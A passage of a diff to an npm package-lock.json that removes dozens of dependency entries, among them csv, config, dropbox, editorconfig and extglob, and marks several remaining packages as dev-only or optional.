+ "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz",
+@@ -9312,14 +7662,6 @@
+ "node": ">=6"
+ }
+ },
+- "node_modules/clone-response": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
+- "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
+- "dependencies": {
+- "mimic-response": "^1.0.0"
+- }
+- },
+ "node_modules/clone-stats": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz",
+@@ -9367,15 +7709,6 @@
+ "safe-buffer": "~5.1.0"
+ }
+ },
+- "node_modules/cls-bluebird": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/cls-bluebird/-/cls-bluebird-2.1.0.tgz",
+- "integrity": "sha1-N+8eCAqP+1XC9BZPU28ZGeeWiu4=",
+- "dependencies": {
+- "is-bluebird": "^1.0.2",
+- "shimmer": "^1.1.0"
+- }
+- },
+ "node_modules/cluster": {
+ "version": "0.7.7",
+ "resolved": "https://registry.npmjs.org/cluster/-/cluster-0.7.7.tgz",
+@@ -9465,18 +7798,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/collection-visit": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
+- "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
+- "dependencies": {
+- "map-visit": "^1.0.0",
+- "object-visit": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/color-alpha": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-alpha/-/color-alpha-1.1.3.tgz",
+@@ -9525,11 +7846,6 @@
+ "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==",
+ "dev": true
+ },
+- "node_modules/colorette": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz",
+- "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw=="
+- },
+ "node_modules/colors": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz",
+@@ -9679,7 +7995,8 @@
+ "node_modules/component-emitter": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+- "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg=="
++ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
++ "dev": true
+ },
+ "node_modules/compress-commons": {
+ "version": "4.1.1",
+@@ -9798,27 +8115,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/config": {
+- "version": "1.31.0",
+- "resolved": "https://registry.npmjs.org/config/-/config-1.31.0.tgz",
+- "integrity": "sha512-Ep/l9Rd1J9IPueztJfpbOqVzuKHQh4ZODMNt9xqTYdBBNRXbV4oTu34kCkkfdRVcDq0ohtpaeXGgb+c0LQxFRA==",
+- "dependencies": {
+- "json5": "^1.0.1"
+- },
+- "engines": {
+- "node": ">= 4.0.0"
+- }
+- },
+- "node_modules/config-chain": {
+- "version": "1.1.13",
+- "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz",
+- "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==",
+- "dev": true,
+- "dependencies": {
+- "ini": "^1.3.4",
+- "proto-list": "~1.2.1"
+- }
+- },
+ "node_modules/config-master": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz",
+@@ -9837,22 +8133,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/config/node_modules/json5": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+- "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+- "dependencies": {
+- "minimist": "^1.2.0"
+- },
+- "bin": {
+- "json5": "lib/cli.js"
+- }
+- },
+- "node_modules/config/node_modules/minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- },
+ "node_modules/configstore": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz",
+@@ -10128,11 +8408,6 @@
+ "node": ">=6.6.0"
+ }
+ },
+- "node_modules/cookiejar": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz",
+- "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ=="
+- },
+ "node_modules/copy-anything": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-2.0.6.tgz",
+@@ -10145,14 +8420,6 @@
+ "url": "https://github.com/sponsors/mesqueeb"
+ }
+ },
+- "node_modules/copy-descriptor": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
+- "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/core-js": {
+ "version": "3.21.1",
+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz",
+@@ -10280,14 +8547,6 @@
+ "node": ">=0.8"
+ }
+ },
+- "node_modules/cross-fetch": {
+- "version": "3.1.5",
+- "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz",
+- "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==",
+- "dependencies": {
+- "node-fetch": "2.6.7"
+- }
+- },
+ "node_modules/cross-spawn": {
+ "version": "7.0.3",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+@@ -10487,54 +8746,6 @@
+ "node": ">=0.6"
+ }
+ },
+- "node_modules/csv": {
+- "version": "5.5.3",
+- "resolved": "https://registry.npmjs.org/csv/-/csv-5.5.3.tgz",
+- "integrity": "sha512-QTaY0XjjhTQOdguARF0lGKm5/mEq9PD9/VhZZegHDIBq2tQwgNpHc3dneD4mGo2iJs+fTKv5Bp0fZ+BRuY3Z0g==",
+- "dependencies": {
+- "csv-generate": "^3.4.3",
+- "csv-parse": "^4.16.3",
+- "csv-stringify": "^5.6.5",
+- "stream-transform": "^2.1.3"
+- },
+- "engines": {
+- "node": ">= 0.1.90"
+- }
+- },
+- "node_modules/csv-generate": {
+- "version": "3.4.3",
+- "resolved": "https://registry.npmjs.org/csv-generate/-/csv-generate-3.4.3.tgz",
+- "integrity": "sha512-w/T+rqR0vwvHqWs/1ZyMDWtHHSJaN06klRqJXBEpDJaM/+dZkso0OKh1VcuuYvK3XM53KysVNq8Ko/epCK8wOw=="
+- },
+- "node_modules/csv-parse": {
+- "version": "4.16.3",
+- "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-4.16.3.tgz",
+- "integrity": "sha512-cO1I/zmz4w2dcKHVvpCr7JVRu8/FymG5OEpmvsZYlccYolPBLoVGKUHgNoc4ZGkFeFlWGEDmMyBM+TTqRdW/wg=="
+- },
+- "node_modules/csv-parser": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/csv-parser/-/csv-parser-3.0.0.tgz",
+- "integrity": "sha512-s6OYSXAK3IdKqYO33y09jhypG/bSDHPuyCme/IdEHfWpLf/jKcpitVFyOC6UemgGk8v7Q5u2XE0vvwmanxhGlQ==",
+- "dependencies": {
+- "minimist": "^1.2.0"
+- },
+- "bin": {
+- "csv-parser": "bin/csv-parser"
+- },
+- "engines": {
+- "node": ">= 10"
+- }
+- },
+- "node_modules/csv-parser/node_modules/minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- },
+- "node_modules/csv-stringify": {
+- "version": "5.6.5",
+- "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-5.6.5.tgz",
+- "integrity": "sha512-PjiQ659aQ+fUTQqSrd1XEDnOr52jh30RBurfzkscaE2tPaFsDH5wOAHJiw8XAHphRknCwMUE9KRayc4K/NbO8A=="
+- },
+ "node_modules/cuid": {
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/cuid/-/cuid-2.1.8.tgz",
+@@ -10903,14 +9114,6 @@
+ "node": ">=4.0"
+ }
+ },
+- "node_modules/date-utils": {
+- "version": "1.2.21",
+- "resolved": "https://registry.npmjs.org/date-utils/-/date-utils-1.2.21.tgz",
+- "integrity": "sha1-YfsWzcEnSzyayq/+n8ad+HIKK2Q=",
+- "engines": {
+- "node": ">0.4.0"
+- }
+- },
+ "node_modules/dateformat": {
+ "version": "1.0.4-1.2.3",
+ "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.4-1.2.3.tgz",
+@@ -10979,25 +9182,6 @@
+ "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==",
+ "dev": true
+ },
+- "node_modules/decode-uri-component": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
+- "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=",
+- "engines": {
+- "node": ">=0.10"
+- }
+- },
+- "node_modules/decompress-response": {
+- "version": "3.3.0",
+- "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
+- "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
+- "dependencies": {
+- "mimic-response": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/deep-eql": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz",
+@@ -11031,6 +9215,7 @@
+ "version": "0.6.0",
+ "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+ "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
++ "dev": true,
+ "engines": {
+ "node": ">=4.0.0"
+ }
+@@ -11045,6 +9230,7 @@
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
+ "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -11073,11 +9259,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/defer-to-connect": {
+- "version": "1.1.3",
+- "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
+- "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ=="
+- },
+ "node_modules/define-lazy-prop": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
+@@ -11098,18 +9279,6 @@
+ "node": ">= 0.4"
+ }
+ },
+- "node_modules/define-property": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+- "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+- "dependencies": {
+- "is-descriptor": "^1.0.2",
+- "isobject": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/del": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz",
+@@ -11209,17 +9378,6 @@
+ "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+ "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o="
+ },
+- "node_modules/democracy": {
+- "version": "3.1.3",
+- "resolved": "https://registry.npmjs.org/democracy/-/democracy-3.1.3.tgz",
+- "integrity": "sha512-8mvV1WelrEb5/vbXhIxSKCcn5ryErS4Dbscl0y158IsCjaI4kJHZ9fV+rbxztf/ZxJUSRpRB/ow1NBw6bxYoxg==",
+- "engines": [
+- "node >= 6.4.0"
+- ],
+- "dependencies": {
+- "shortid": "2.2.14"
+- }
+- },
+ "node_modules/denque": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/denque/-/denque-1.5.1.tgz",
+@@ -11236,24 +9394,11 @@
+ "node": ">= 0.6"
+ }
+ },
+- "node_modules/deprecation": {
+- "version": "2.3.1",
+- "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
+- "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ=="
+- },
+ "node_modules/destroy": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz",
+ "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
+ },
+- "node_modules/detect-file": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz",
+- "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/detect-libc": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
+@@ -11603,11 +9748,6 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+- "node_modules/dottie": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/dottie/-/dottie-2.0.2.tgz",
+- "integrity": "sha512-fmrwR04lsniq/uSr8yikThDTrM7epXHBAAjH9TbeH3rEA8tdCO7mRzB9hdmdGyJCxF8KERo9CITcm3kGuoyMhg=="
+- },
+ "node_modules/double-ended-queue": {
+ "version": "2.1.0-0",
+ "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz",
+@@ -11628,25 +9768,12 @@
+ "react": ">=16.12.0"
+ }
+ },
+- "node_modules/dropbox": {
+- "version": "10.24.0",
+- "resolved": "https://registry.npmjs.org/dropbox/-/dropbox-10.24.0.tgz",
+- "integrity": "sha512-/BalM59Bj0unsLThGjfRg0ga7o6gL+Z4U6vv7UjhLlIfxoE+RMx52C4ihbkeSgbxeSvSqv9Tvnj99Lx4SBeNFA==",
+- "dependencies": {
+- "node-fetch": "^2.6.1"
+- },
+- "engines": {
+- "node": ">=0.10.3"
+- },
+- "peerDependencies": {
+- "@types/node-fetch": "^2.5.7"
+- }
+- },
+ "node_modules/dtrace-provider": {
+ "version": "0.8.8",
+ "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.8.8.tgz",
+ "integrity": "sha512-b7Z7cNtHPhH9EJhNNbbeqTcXB8LGFFZhq1PGgEvpeHlzd36bhbdTWoE/Ba/YguqpBSlAPKnARWhVlhunCMwfxg==",
+ "hasInstallScript": true,
++ "optional": true,
+ "dependencies": {
+ "nan": "^2.14.0"
+ },
+@@ -11689,11 +9816,6 @@
+ "safe-buffer": "~5.1.0"
+ }
+ },
+- "node_modules/duplexer3": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
+- "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI="
+- },
+ "node_modules/duplexify": {
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+@@ -11792,52 +9914,6 @@
+ "safe-buffer": "^5.0.1"
+ }
+ },
+- "node_modules/editorconfig": {
+- "version": "0.15.3",
+- "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz",
+- "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==",
+- "dev": true,
+- "dependencies": {
+- "commander": "^2.19.0",
+- "lru-cache": "^4.1.5",
+- "semver": "^5.6.0",
+- "sigmund": "^1.0.1"
+- },
+- "bin": {
+- "editorconfig": "bin/editorconfig"
+- }
+- },
+- "node_modules/editorconfig/node_modules/commander": {
+- "version": "2.20.3",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+- "dev": true
+- },
+- "node_modules/editorconfig/node_modules/lru-cache": {
+- "version": "4.1.5",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+- "dev": true,
+- "dependencies": {
+- "pseudomap": "^1.0.2",
+- "yallist": "^2.1.2"
+- }
+- },
+- "node_modules/editorconfig/node_modules/semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "dev": true,
+- "bin": {
+- "semver": "bin/semver"
+- }
+- },
+- "node_modules/editorconfig/node_modules/yallist": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=",
+- "dev": true
+- },
+ "node_modules/ee-first": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+@@ -11847,6 +9923,7 @@
+ "version": "2.5.5",
+ "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.5.5.tgz",
+ "integrity": "sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -12163,14 +10240,6 @@
+ "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz",
+ "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="
+ },
+- "node_modules/es6-promisify": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz",
+- "integrity": "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==",
+- "dependencies": {
+- "es6-promise": "^4.0.3"
+- }
+- },
+ "node_modules/es6-symbol": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
+@@ -12180,18 +10249,6 @@
+ "ext": "^1.1.2"
+ }
+ },
+- "node_modules/es6-weak-map": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz",
+- "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==",
+- "dev": true,
+- "dependencies": {
+- "d": "1",
+- "es5-ext": "^0.10.46",
+- "es6-iterator": "^2.0.3",
+- "es6-symbol": "^3.1.1"
+- }
+- },
+ "node_modules/escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+@@ -12921,14 +10978,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/esm": {
+- "version": "3.2.25",
+- "resolved": "https://registry.npmjs.org/esm/-/esm-3.2.25.tgz",
+- "integrity": "sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "node_modules/espree": {
+ "version": "9.3.2",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.3.2.tgz",
+@@ -13156,6 +11205,7 @@
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz",
+ "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=",
++ "dev": true,
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+@@ -13168,112 +11218,6 @@
+ "node": ">=0.8"
+ }
+ },
+- "node_modules/expand-brackets": {
+- "version": "2.1.4",
+- "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+- "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
+- "dependencies": {
+- "debug": "^2.3.3",
+- "define-property": "^0.2.5",
+- "extend-shallow": "^2.0.1",
+- "posix-character-classes": "^0.1.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "dependencies": {
+- "is-descriptor": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/expand-brackets/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+ "node_modules/expand-range": {
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/expand-range/-/expand-range-1.8.2.tgz",
+@@ -13320,17 +11264,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/expand-tilde": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+- "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=",
+- "dependencies": {
+- "homedir-polyfill": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/express": {
+ "version": "4.18.1",
+ "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz",
+@@ -13372,14 +11305,6 @@
+ "node": ">= 0.10.0"
+ }
+ },
+- "node_modules/express-basic-auth": {
+- "version": "1.2.1",
+- "resolved": "https://registry.npmjs.org/express-basic-auth/-/express-basic-auth-1.2.1.tgz",
+- "integrity": "sha512-L6YQ1wQ/mNjVLAmK3AG1RK6VkokA1BIY6wmiH304Xtt/cLTps40EusZsU1Uop+v9lTDPxdtzbFmdXfFO3KEnwA==",
+- "dependencies": {
+- "basic-auth": "^2.0.1"
+- }
+- },
+ "node_modules/express-bearer-token": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/express-bearer-token/-/express-bearer-token-2.4.0.tgz",
+@@ -13666,6 +11591,7 @@
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
++ "dev": true,
+ "dependencies": {
+ "is-extendable": "^0.1.0"
+ },
+@@ -13673,35 +11599,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/extglob": {
+- "version": "2.0.4",
+- "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+- "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+- "dependencies": {
+- "array-unique": "^0.3.2",
+- "define-property": "^1.0.0",
+- "expand-brackets": "^2.1.4",
+- "extend-shallow": "^2.0.1",
+- "fragment-cache": "^0.2.1",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/extglob/node_modules/define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "dependencies": {
+- "is-descriptor": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/extract-zip": {
